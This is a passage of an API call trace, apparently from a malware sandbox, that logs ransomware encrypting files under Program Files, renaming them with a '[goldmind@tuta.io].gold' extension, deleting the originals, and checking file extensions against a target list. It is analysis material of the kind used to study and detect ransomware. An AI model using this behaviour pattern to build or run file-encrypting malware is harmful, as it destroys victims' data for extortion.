Office\\CLIPART\\PUB60COR\\J0212751.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.297] GetLastError () returned 0x0 [0115.297] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x80c, lpOverlapped=0x0) returned 1 [0115.314] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x810, lpOverlapped=0x0) returned 1 [0115.315] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.315] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.315] SetEndOfFile (hFile=0x194) returned 1 [0115.315] CloseHandle (hObject=0x194) returned 1 [0115.315] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.315] SetEndOfFile (hFile=0x198) returned 1 [0115.317] CloseHandle (hObject=0x198) returned 1 [0115.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf")) returned 1 [0115.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.318] lstrlenW (lpString=".doc") returned 4 [0115.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.318] lstrlenW (lpString=".docx") returned 5 [0115.318] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0115.318] lstrlenW (lpString=".pdf") returned 4 [0115.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.318] lstrlenW (lpString=".xls") returned 4 [0115.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.318] lstrlenW (lpString=".xlsx") returned 5 [0115.318] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0115.318] lstrlenW (lpString=".ppt") returned 4 [0115.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.318] lstrlenW (lpString=".zip") returned 4 [0115.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.318] lstrlenW (lpString=".rar") returned 4 [0115.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.318] lstrlenW (lpString=".bz2") returned 4 [0115.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.318] lstrlenW (lpString=".7z") returned 3 [0115.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.318] lstrlenW (lpString=".dbf") returned 4 [0115.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.319] lstrlenW (lpString=".1cd") returned 4 [0115.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.319] lstrlenW (lpString=".jpg") returned 4 [0115.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.319] lstrlenW (lpString=".doc") returned 4 [0115.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString=".docx") returned 5 [0115.319] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0115.319] lstrlenW (lpString=".pdf") returned 4 [0115.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString=".xls") returned 4 [0115.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.319] lstrlenW (lpString=".xlsx") returned 5 [0115.319] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0115.319] lstrlenW (lpString=".ppt") returned 4 [0115.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.319] lstrlenW (lpString=".zip") returned 4 [0115.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.319] lstrlenW (lpString=".rar") returned 4 [0115.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString=".bz2") returned 4 [0115.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString=".7z") returned 3 [0115.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.319] lstrlenW (lpString=".dbf") returned 4 [0115.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.319] lstrlenW (lpString=".1cd") returned 4 [0115.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0115.319] lstrlenW (lpString=".jpg") returned 4 [0115.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.319] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0115.319] lstrlenW (lpString="J0216153.JPG") returned 12 [0115.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0115.378] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=21620) returned 1 [0115.378] CloseHandle (hObject=0x398) returned 1 [0115.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg")) returned 0x20 [0115.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0115.379] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.379] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.751] GetLastError () returned 0x0 [0115.751] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5474, lpOverlapped=0x0) returned 1 [0115.758] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5480, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5480, lpOverlapped=0x0) returned 1 [0115.759] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.759] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.759] SetEndOfFile (hFile=0x198) returned 1 [0115.759] CloseHandle (hObject=0x198) returned 1 [0115.759] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.759] SetEndOfFile (hFile=0x398) returned 1 [0115.761] CloseHandle (hObject=0x398) returned 1 [0115.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg")) returned 1 [0115.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.762] lstrlenW (lpString=".doc") returned 4 [0115.762] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0115.763] lstrlenW (lpString=".docx") returned 5 [0115.763] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0115.763] lstrlenW (lpString=".pdf") returned 4 [0115.763] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString=".xls") returned 4 [0115.763] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString=".xlsx") returned 5 [0115.763] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0115.763] lstrlenW (lpString=".ppt") returned 4 [0115.763] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.763] lstrlenW (lpString=".zip") returned 4 [0115.763] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString=".rar") returned 4 [0115.763] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString=".bz2") returned 4 [0115.763] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0115.763] lstrlenW (lpString=".7z") returned 3 [0115.763] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.763] lstrlenW (lpString=".dbf") returned 4 [0115.763] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.763] lstrlenW (lpString=".1cd") returned 4 [0115.763] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.763] lstrlenW (lpString=".jpg") returned 4 [0115.763] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0115.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.763] lstrlenW (lpString=".doc") returned 4 [0115.763] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0115.763] lstrlenW (lpString=".docx") returned 5 [0115.763] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0115.763] lstrlenW (lpString=".pdf") returned 4 [0115.763] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString=".xls") returned 4 [0115.763] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString=".xlsx") returned 5 [0115.763] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0115.763] lstrlenW (lpString=".ppt") returned 4 [0115.763] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.763] lstrlenW (lpString=".zip") returned 4 [0115.763] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString=".rar") returned 4 [0115.763] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0115.763] lstrlenW (lpString=".bz2") returned 4 [0115.763] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0115.763] lstrlenW (lpString=".7z") returned 3 [0115.763] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.763] lstrlenW (lpString=".dbf") returned 4 [0115.763] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.763] lstrlenW (lpString=".1cd") returned 4 [0115.764] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0115.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0115.764] lstrlenW (lpString=".jpg") returned 4 [0115.764] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0115.764] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.764] lstrlenW (lpString="J0216612.WMF") returned 12 [0115.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 63 os_tid = 0x6ac [0087.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x39f0b78 [0087.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3a00b80 [0087.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5413d8 [0087.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x53f028 [0087.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5413f0 [0087.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3ce0020 [0087.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541408 [0087.166] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541408, Size=0x20) returned 0x55ea90 [0087.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541408 [0087.166] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541408, Size=0x20) returned 0x55ea68 [0087.166] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0087.166] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0087.166] Wow64DisableWow64FsRedirection (in: OldValue=0x329ff58 | out: OldValue=0x329ff58*=0x0) returned 1 [0087.166] lstrlenW (lpString="kernel32.dll") returned 12 [0087.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ea90 | out: hHeap=0x4f0000) returned 1 [0087.166] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0087.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ea68 | out: hHeap=0x4f0000) returned 1 [0087.166] Sleep (dwMilliseconds=0x64) [0087.353] Sleep (dwMilliseconds=0x64) [0087.587] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.587] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0087.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0087.938] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=4608) returned 1 [0087.938] CloseHandle (hObject=0x320) returned 1 [0087.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0087.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.938] lstrlenW (lpString=".doc") returned 4 [0087.938] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.938] lstrlenW (lpString=".docx") returned 5 [0087.938] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.939] lstrlenW (lpString=".pdf") returned 4 [0087.939] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.939] lstrlenW (lpString=".xls") returned 4 [0087.939] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.939] lstrlenW (lpString=".xlsx") returned 5 [0087.939] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.939] lstrlenW (lpString=".ppt") returned 4 [0087.939] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.939] lstrlenW (lpString=".zip") returned 4 [0087.939] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.939] lstrlenW (lpString=".rar") returned 4 [0087.939] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.939] lstrlenW (lpString=".bz2") returned 4 [0087.939] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.939] lstrlenW (lpString=".7z") returned 3 [0087.939] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.939] lstrlenW (lpString=".dbf") returned 4 [0087.939] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.939] lstrlenW (lpString=".1cd") returned 4 [0087.939] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.939] lstrlenW (lpString=".jpg") returned 4 [0087.939] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.939] lstrlenW (lpString=".doc") returned 4 [0087.939] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.939] lstrlenW (lpString=".docx") returned 5 [0087.939] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.939] lstrlenW (lpString=".pdf") returned 4 [0087.939] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.939] lstrlenW (lpString=".xls") returned 4 [0087.939] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.939] lstrlenW (lpString=".xlsx") returned 5 [0087.939] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.939] lstrlenW (lpString=".ppt") returned 4 [0087.939] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.939] lstrlenW (lpString=".zip") returned 4 [0087.940] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.940] lstrlenW (lpString=".rar") returned 4 [0087.940] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.940] lstrlenW (lpString=".bz2") returned 4 [0087.940] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.940] lstrlenW (lpString=".7z") returned 3 [0087.940] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.940] lstrlenW (lpString=".dbf") returned 4 [0087.940] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.940] lstrlenW (lpString=".1cd") returned 4 [0087.940] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.940] lstrlenW (lpString=".jpg") returned 4 [0087.940] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.940] Sleep (dwMilliseconds=0x64) [0088.223] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0088.223] lstrlenW (lpString="InkWatson.exe") returned 13 [0088.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.632] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=397312) returned 1 [0088.632] CloseHandle (hObject=0x194) returned 1 [0088.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0088.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.632] lstrlenW (lpString=".doc") returned 4 [0088.632] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.632] lstrlenW (lpString=".docx") returned 5 [0088.632] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0088.632] lstrlenW (lpString=".pdf") returned 4 [0088.632] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.632] lstrlenW (lpString=".xls") returned 4 [0088.632] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.632] lstrlenW (lpString=".xlsx") returned 5 [0088.632] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0088.632] lstrlenW (lpString=".ppt") returned 4 [0088.632] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.632] lstrlenW (lpString=".zip") returned 4 [0088.632] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.632] lstrlenW (lpString=".rar") returned 4 [0088.632] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.632] lstrlenW (lpString=".bz2") returned 4 [0088.633] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.633] lstrlenW (lpString=".7z") returned 3 [0088.633] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.633] lstrlenW (lpString=".dbf") returned 4 [0088.633] lstrcmpiW (lpString1=".dbf", 